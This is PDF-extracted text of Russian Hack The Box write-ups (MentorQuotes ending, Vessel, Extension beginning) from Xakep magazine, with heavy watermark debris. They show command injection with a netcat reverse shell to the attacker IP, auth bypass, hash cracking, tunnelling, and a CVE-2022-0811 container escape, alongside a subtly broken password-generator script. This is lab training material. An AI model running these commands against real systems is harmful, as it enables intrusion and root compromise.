книги хакеры / журнал хакер / ха-288_Optimized
.pdf
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
e |
|
||||
|
p |
df |
-x |
|
|
g |
|
|
|
||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
|||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
|
|
e |
|
|||||
|
|
p |
df |
|
|
|
g |
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ИЗВЛЕКАЕМ ИНФОРМАЦИЮ ИЗ SNMP И ПЕНТЕСТИМ API ВЕБ-СЕРВИСА
ТОЧКА ОПОРЫ
Попробуем получить токен доступа, авторизовавшись с найденными почтовым адресом и паролем.
{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "kj23sadkj123as0-d213"
}
Авторизация в API (запрос)
Ответ сервера
Получив токен, переходим к Burp Repeater и выполняем запрос к странице администратора.
Запрос на страницу /admin
Раскрываем еще две конечные точки: /check и /backup. Но обращение к первой не дает результатов, а для второй нужно изменить метод запроса с GET на POST.
Запрос к API /admin/check
Запрос к API /admin/backup
Чтобы легко поменять метод запроса, в Burp достаточно вызвать контекстное меню и выбрать пункт Change Request Method.
POST-запрос к /admin/backup
В ответе получаем новую наводку: необходимо указать параметры. Один параметр body берем из текста, этого оказывается недостаточно. Так как обращаемся к API backup, укажем параметр path.
{
"body":"test",
"path":"/etc/hosts"
}
Запрос к /admin/backup
Нам отвечают только, успешно или нет завершилась операция. Высока вероятность, что путь к файлу передается в команду терминала, поэтому необходимо проверить наличие инъекции команды ОС. В качестве маяка будем использовать запрос на собственный сервер, для этого и открываем лис-
тенер nc -nlpv 80.
Я перепробовал несколько нагрузок, и в результате удалось найти верную. Заодно выяснилось, что на сервере отсутствует программа curl. Так что если ты используешь нагрузки только с curl, то стоит сделать подобные для wget и Python.
{
"body":"test",
"path":"/etc/hosts;wget http://10.10.14.11/test_rce"
}
Запрос на сервер
Логи листенера Так как присутствует RCE, кидаем реверс-шелл:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 4321 >
/tmp/f;.
{
"body":"test",
"path":"/etc/hosts;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i
2>&1|nc 10.10.14.11 4321 >/tmp/f;"
}
Запрос на сервер
Получение сессии
ПРОДВИЖЕНИЕ
Попадаем в контейнер Docker, где и работает уязвимое приложение. Приложение использует базу данных, и мы можем получить учетные данные для подключения к ней, а в ней найдем логины и хеши паролей пользователей. Пароль от базы находим в файле db.py.
Содержимое файла db.py
Теперь мы можем авторизоваться в СУБД, но, чтобы получить доступ к порту PostgreSQL, нужно построить туннель. Для этого будем использовать chisel.
На локальном хосте запустим сервер, который будет ждать подключения (параметр --reverse) на порт 8000 (параметр -p).
chisel.bin server -p 8000 --reverse
Логи chisel server
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а затем цепочку проксирования: порт 5432 локального хоста на порт 5432 хоста 172.22.0.1.
chisel.bin client 10.10.14.11:8000 R:5432:172.22.0.1:5432
Логи chisel client
В логах сервера должны увидеть сообщение о создании сессии.
Созданная сессия chisel
А теперь подключаемся к СУБД PostgreSQL и получаем существующие в базе таблицы.
psql -h 127.0.0.1 -U postgres -d mentorquotes_db
/d
Таблицы
Таблица users, вероятно, содержит учетные данные, поэтому получим из нее все записи.
select * from users;
Данные из таблицы users
Получаем хеши двух паролей, один из которых мы уже знаем, поэтому второй проверяем по онлайновой базе.
Результат взлома пароля
С полученными именем пользователя и паролем авторизуемся по SSH и забираем первый флаг.
Флаг пользователя
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Пользователь james
Теперь нам необходимо собрать информацию. Я для этого использую скрип-
ты PEASS.
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис- тему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому отберем только значимую.
Среди активных пользователей с командной оболочкой отмечаем пользователя james.
Пользователи с консолью
Находим доступный для чтения файл конфигурации SNMP /etc/snmp/snmpd. conf.
Анализ SNMP-файлов
Конфиг может содержать пароли и секретные строки, этот не оказался исключением.
Содержимое файла /etc/snmp/snmpd.conf
Пробуем использовать найденный пароль для пользователя james и становимся на шаг ближе к захвату машины.
Сессия пользователя james
Пользователь root
Разведку на хосте уже проводили, мало что может измениться со сменой контекста. Но одно из мест, которые все же стоит проверить, — настройки sudoers.
sudo -l
Настройки sudo
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Таким образом мы можем без ввода пароля получить привилегированную оболочку /bin/sh.
sudo /bin/sh
Флаг рута
Машина захвачена!
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
e |
|
||||
|
p |
df |
-x |
|
|
g |
|
|
|
||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
|
|
|
e |
|
|||||
|
|
p |
df |
|
|
|
g |
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ В КЛАСТЕРЕ KUBERNETES
В этом райтапе я покажу, как повышать привилегии через уязвимость CVE-2022-0811, которая позволяет с максимальными привилегиями выходить из контейнера в кластере Kubernetes. По дороге посмотрим, как собирать данные из репозитория Git, проэксплуатируем SQL-инъекцию и попентестим платформу Open Web Analytics, чтобы получить доступ к хосту. Еще разберемся с генератором паролей и расшифруем PDF-документ.
RalfHacker hackerralf8@gmail.com
Наша цель — захватить учебную машину Vessel с площадки Hack The Box. Ее уровень — «сложный».
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.178 vessel.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
Нашли три открытых порта:
•22 — служба OpenSSH 8.2p1;
•80 — веб-сервер Apache 2.4.41;
•8888 — веб-сервер Python 3.8.10 версии 0.6.
СSSH ничего сделать не получится, веб-сервер Python тоже вещь узкоспециализированная, поэтому идем к основному сайту на порте 80.
Главная страница сайта
Нас встречает сайт-визитка без каких-либо дополнительных возможностей, поэтому приступим к сканированию.
Одно из первых действий при тестировании безопасности веб-приложе- ния — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый uf. При запуске указываем следующие параметры:
•-w — словарь (я использую словари из набора SecLists);
•-t — количество потоков;
•-u — URL.
Место перебора помечается словом FUZZ.
ffuf -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.
txt
-t 256
Результат сканирования каталогов с помощью uf
В вывод посыпались все варианты из словаря. Давай добавим фильтр, чтобы этого избежать. К примеру, видим, что размеры всех ответов равны 26, поэтому просто исключим такие варианты с помощью параметра -fs.
ffuf -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.
txt
-t 256 -fs 26
В этот раз получаем реальные каталоги, причем очень даже интересные.
ТОЧКА ВХОДА
Начнем изучение с каталога dev, который выполняет редирект (код ответа 301). Смотрим на него через браузер и получаем страницу 404. Так как всю работу я веду через Burp Proxy, могу в любой момент посмотреть историю запросов.
Burp History
Видим, что Apache выполняет стандартный редирект с /dev в /dev/ и только тогда переходит к странице 404. То есть каталог /dev/ все же существует, поэтому выполним сканирование в нем.
ffuf -u 'http://vessel.htb/dev/FUZZ' -w files_interesting.txt -t 256
-fs 26
Результат сканирования файлов с помощью uf
И находим доступный Git-репозиторий. Скачивать содержимое репозиториев можно с помощью пакета скриптов dvcs-ripper.
./rip-git.pl -u http://vessel.htb/dev/.git/
А теперь в текущем каталоге просто открываем gitk — это GUI для работы с Git-репозиториями. И сразу находим учетные данные для подключения к базе данных.
Содержимое файла db.js
Гуляя по истории коммитов, обнаруживаем место, где была запатчена SQLинъекция. Полезно просматривать подобные места, так как патч может быть не совсем корректный.
Изменение в файле index.js
Открываем этот файл и смотрим, как обрабатывается пользовательский ввод.
Содержимое файла index.js
Node.js позволяет работать со строками как с объектами, то есть если вместо ввода простой строки пароля мы введем превращенный в строку объект password[password]=1, то он будет интерпретирован Node.js и мы получим результат проверки true. Попробуем авторизоваться от имени администратора сайта. В Burp Proxy перехватываем запрос на авторизацию и меняем передаваемые данные.
Запрос на авторизацию
Панель администратора сайта
После пропуска запроса получаем административную панель как авторизованный пользователь.
ТОЧКА ОПОРЫ
Изучаем содержимое панели и находим графу аналитики, которая ведет нас на другой поддомен.
История запросов в Burp History
Найденное доменное имя добавляем в файл /etc/hosts и повторяем запрос. Нас встречает страница авторизации системы Open Web Analytics.
10.10.11.178 vessel.htb openwebanalytics.vessel.htb
Форма авторизации OWA
Найденные учетные данные сюда не подошли, поэтому поищем готовые эксплоиты. Первым делом стоит проверять сайты вроде HackerOne и exploit-db. Я без труда отыскал эксплоит как раз на GitHub.
Поиск эксплоитов в Google
Open Web Analytics до версии 1.7.4 позволяет неавторизованному атакующему получать конфиденциальную информацию о пользователе и добиться привилегий администратора. Впрочем, эта реализация эксплоита подробно логирует все свои действия. Откроем листенер:
pwncat-cs -lp 4321
И запустим эксплоит.
python3 exploit.py http://openwebanalytics.vessel.htb/ 10.10.14.4
4321
Результат выполнения эксплоита
И получаем новую сессию в pwncat-cs.
Новая сессия в листенере
Продолжение статьи →
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
o m |
ВЗЛОМ |
|||||||
to |
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
c |
|
|
|
. |
|
|
|
|
|
. |
|
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
|
m |
||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
c |
|
|
|
c |
|
||
|
. |
|
|
|
|
. |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ В КЛАСТЕРЕ KUBERNETES
ПРОДВИЖЕНИЕ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Я, как всегда, использую для этого скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис- тему на автомате.
Загрузим на хост скрипт для Linux и выберем наиболее интересную информацию.
Во-первых, мы можем просматривать файлы в домашнем каталоге пользователя steven.
Файлы в каталогах других пользователей
Во-вторых, пользователю ethan доступно выполнение команды pinns от имени рута, так как у исполняемого файла выставлен s-бит.
Файлы с активным SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из-за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
В-третьих, на хосте доступна программа runc.
Проверка файла runc
Давай скачаем файлы passwordGenerator, screenshot.png и notes.pdf
из домашнего каталога пользователя. Для этого в pwncat выйдем в основное меню сочетанием клавиш Ctrl-D, а затем используем команду download для скачивания фалов на локальный хост. Чтобы обратно получить командную оболочку удаленного хоста, используем команду back.
PDF оказался защищен паролем, а скриншот, видимо, показывает окно генератора паролей, который у нас тоже есть.
Скачанный скриншот
Отметим для себя параметры, использованные при составлении пароля: длина — 32 символа, а алфавит включает все символы. Я закинул генератор в дизассемблер и среди строк нашел много типичных для Python паттернов.
Строки из файла passwordGenerator
Таким образом, это скрипт на Python, скомпилированный в исполняемый файл .exe. Есть возможность достать из .exe код на Python в чистом виде, для чего можно использовать pyinstxtractor.
Декомпилирование py2exe-файла
Мы получим файл .pyc, который нужно декомпилировать в .py с помощью uncompile. Затем в извлеченном скрипте находим функцию для генерирова-
ния пароля — genPassword.
Исходный код функции genPassword
Исходный код вспомогательных функций
Вот только генератор написан с ошибкой, так как функция QTime::msec(), которая возвращает сид для дальнейшего псевдорандома, выдает миллисекундную часть времени — число от 0 до 999. А это значит, что возможно сгенерировать всего 1000 разных паролей. Я набросал скрипт, который составит список всех паролей:
from PySide2.QtCore import *
passwords = []
length = 32
charset =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$% ^&
*()_-+={}[]|
:;<>,.?'
for rsec in (0,1000):
qsrand(q)
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
passwords.append(password)
with open('passwords.txt', 'wt') as f:
for pwd in passwords:
f.write(pwd + '\n')
Есть одно но: сгенерировать верный словарь получится только с использованием извлеченных из исполняемого файла библиотек Qt. Поэтому скопируем всю папку с извлеченными файлами на виртуалку с Windows и запустим скрипт оттуда. Будут подключены нужные библиотеки Qt. Сделав словарь, пробрутим пароль PDF-документа с помощью pdfcrack.
pdfcrack -f notes.pdf -w ./password.txt
Результат перебора паролей
В самом документе находим пароль, с которым можно авторизоваться по SSH от имени пользователя ethan.
Содержимое PDF-документа
Флаг пользователя
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
А теперь обратимся к runC — инструменту для запуска контейнеров, соз-
данного в рамках проекта Open Containers. Когда я увидел права на исполняемый файл pinns и присутствие runc, сразу вспомнил о недавней уязвимости CVE-2022-0811 в Kubernetes, которая поможет поднять привилегии на основном хосте до root. Если ты о ней не слышал, то можешь почитать, к примеру, в статье CrowdStrike.
Поиск техники в Google
Работает уязвимость следующим образом. Kubernetes задействует среду выполнения контейнера, такую как CRI-O или Docker, для безопасного совместного использования ядра и ресурсов каждой ноды с разными работающими контейнерными приложениями. Ядро Linux принимает параметры времени выполнения, которые управляют его поведением. Kubernetes и управляемые им среды выполнения контейнеров позволяют модулям обновлять эти «безопасные» настройки ядра, блокируя доступ к другим.
Специалисты из CrowdStrike нашли уязвимость, которая позволяет обходить меры безопасности и устанавливать произвольные параметры ядра. Таким образом, любой, у кого есть права на развертывание модуля в кластере Kubernetes, использующий CRI-O, может манипулировать параметром kernel.core_pattern для выхода из контейнера и выполнения произвольного кода от имени пользователя root на любом узле в кластере.
Runc позволяет запускать контейнеры без привилегий root. Но процессы, запускающие такой контейнер, все равно будут принадлежать пользователю root! Получается, что если какой-то процесс сможет выйти из контейнера, то он будет работать на основном хосте с правами root.
Перейдем к эксплуатации и первым делом создадим конфигурацию для запуска контейнера.
runc spec --rootless
А теперь откроем созданный файл config.json и в раздел mounts добавим конфигурацию:
{
"destination": "/",
"type": "bind",
"source": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
}
Изменение в файле con g.json
Теперь в текущем каталоге создадим каталог rootfs и запустим контейнер.
mkdir rootfs
runc --root /tmp/ralf run alpine
Получение сессии в контейнере
Мы получили сессию в контейнере, но нам нужна вторая сессия на основном хосте, поэтому во втором терминале авторизуемся на хосте через SSH. На основном хосте сделаем скрипт на Bash, который будет назначать S-бит файлу командной оболочки /bin/bash.
echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/ralf/payload.sh
chmod +x /tmp/ralf/payload.sh
В первом сеансе (том, что в контейнере) проверяем наличие созданного скрипта и прав на выполнение.
Проверка созданного на основном хосте скрипта в контейнере
Скрипт создан, теперь установим параметр ядра kernel.core_pattern, который указывает, что должно сделать ядро при его дампе. Так мы скажем ядру выполнить нашу нагрузку, которая будет запущена с правами root. Сделать это можно следующей командой, которую я нашел в статье в блоге
Tencent.
pinns -d /var/run/ -f 37f594b6-4ffb-43a2-a0d5-e7b23d642115 -s
'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/ralf/payload.sh
#' --ipc --net --uts --cgroup
И сразу проверяем, установился ли параметр kernel.core_pattern.
cat /proc/sys/kernel/core_pattern
Проверка параметра kernel.core_pattern
Теперь активируем и выполним дамп ядра.
ulimit -c unlimited
tail -f /dev/null &
ps
bash -i
kill -SIGSEGV 26
ps
Дамп ядра
Наша команда была выполнена ядром за пределами пространства имен контейнера с привилегиями root, о чем свидетельствует S-бит у файла командной оболочки.
Права файла /bin/bash
Запускаем новый Bash и получаем полные привилегии на хосте.
Флаг рута
Машина захвачена!
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПЕНТЕСТИМ ПЛАГИН ДЛЯ GITEA
И СБЕГАЕМ ИЗ DOCKER
В этом райтапе я покажу, как через уязвимость в расширении браузера получить доступ к файлам другого пользователя. Найденные критически важные данные помогут нам закрепиться на хосте, а захватим контроль над ним мы при помощи уязвимости в веб-сервисе. А потом нам предстоит побег из Docker!
RalfHacker hackerralf8@gmail.com
Захватывать будем учебную машину Extension с площадки Hack The Box. Уровень — «сложный».
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.171 extension.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Мы нашли два открытых порта: 22 — служба OpenSSH 7.6p1 и 80 — веб-сер- вер Nginx 1.14.0. Начинаем, конечно же, с сайта.
Главная страница сайта http://extension.htb
На сайте видим указанный домен, который добавляем в файл /etc/hosts.
10.10.11.171 extension.htb snippet.htb
Так как он реальный, мы можем просканировать поддомены. Я использую сканер ffuf.
Одно из первых действий при тестировании безопасности веб-приложе- ния — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый uf. При запуске указываем следующие параметры:
•-w — словарь (я использую словари из набора SecLists);
•-t — количество потоков;
•-u — URL;
•-r — выполнять редиректы;
•-fs — фильтровать страницы по размеру;
•-fc — исключить из результата ответы с кодом 403.
Место перебора помечается словом FUZZ.
Команда получается следующая:
ffuf -u 'http://snippet.htb/' -r -w subdomains-top1million-110000.
txt -t 256 -H 'Host: FUZZ.snippet.htb' --fl 30
Результат сканирования поддоменов с помощью uf
Так находим еще два поддомена, которые тоже добавляем в файл /etc/ hosts. Там найдем сервисы Gitea и RoundCube.
10.10.11.171 extension.htb snippet.htb dev.snippet.htb mail.snippet.
htb
Главная страница http://dev.snippet.htb
Главная страница http://mail.snippet.htb
В Gitea можем без авторизации посмотреть существующих пользователей.
Пользователи Gitea
Сканирование каталогов на пользовательском сайте тоже ничего не дало.
ffuf -u 'http://snippet.htb/FUZZ' -r -w directory_2.3_medium_
lowercase.txt -t 256
Результат сканирования каталогов с помощью uf
ТОЧКА ВХОДА
Тогда посмотрим на пользовательский сайт через Burp. Нас интересует
Burp History.
Вкладка Burp History
В коде страницы видим использование какого-то API. Изучив его подробнее, находим возможность не только получать разную информацию, но и дампить ее.
API для дампа информации
Первым делом я решил посмотреть на пользователей сайта, но это получится только после авторизации.
Запрос страницы /users
А вот при запросе дампа нам отвечают, что мы не указали нужный параметр. То есть никакой авторизации не требуется.
Запрос страницы /management/dump
Так как нам интересна информация о пользователях, в качестве значения будем использовать users. Но имя параметра нужно будет перебрать. Раз ответ пришел в формате JSON, передавать параметр мы будем так же. Для перебора я использовал Burp Intruder.
Burp Intruder — вкладка Positions
Результат перебора имени параметра
И находим название нужного параметра — download. Ответ очень большой, поэтому сохраняем в файл и выводим в jq.
Полученные данные
Нам доступны хеши паролей пользователей, поэтому для перебора попробуем узнать алгоритм с помощью hashid.
Распознавание алгоритма хеширования
В качестве алгоритма шифрования, скорее всего, используется SHA-256. Давай выберем из списка все пары логинов и паролей.
cat users.dump| jq | grep 'email"\|password' | cut -d '"' -f 4 >
users.txt
Затем можно все последовательности .htb\n заменить двоеточием, тогда мы получим строки типа логин:пароль. Отправляем список программе John the Ripper и указываем формат хеша. Спустя несколько секунд получим пароль.
john -form=dynamic='sha256($p)' --wordlist=~/tmp/wordlists/Passwords/
rockyou.txt creds.txt
Результат перебора хешей С полученными учетными данными мы можем авторизоваться на сайте.
Главная страница авторизованного пользователя
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
|||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ПЕНТЕСТИМ ПЛАГИН ДЛЯ GITEA И СБЕГАЕМ ИЗ DOCKER
ТОЧКА ОПОРЫ Пользовательский сервис
Мы можем перейти к сниппетам и создать свой. Так у нас будет возможность менять и удалять его.
Доступные сниппеты
